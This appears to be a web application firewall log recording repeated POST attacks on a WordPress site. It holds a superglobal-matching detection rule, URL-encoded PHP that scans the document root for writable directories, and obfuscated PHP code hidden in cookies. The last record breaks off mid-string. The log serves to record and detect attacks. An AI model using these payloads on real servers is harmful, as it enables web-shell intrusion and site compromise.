["2026-05-12 19:17:48","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> VL:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:3339\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\n\nVL=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:18:29","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> GC:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:3339\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\n\nGC=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:19:37","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> rv:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:3339\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\n\nrv=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:19:58","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> DG:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\ncontent-length:3339\n\nDG=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%2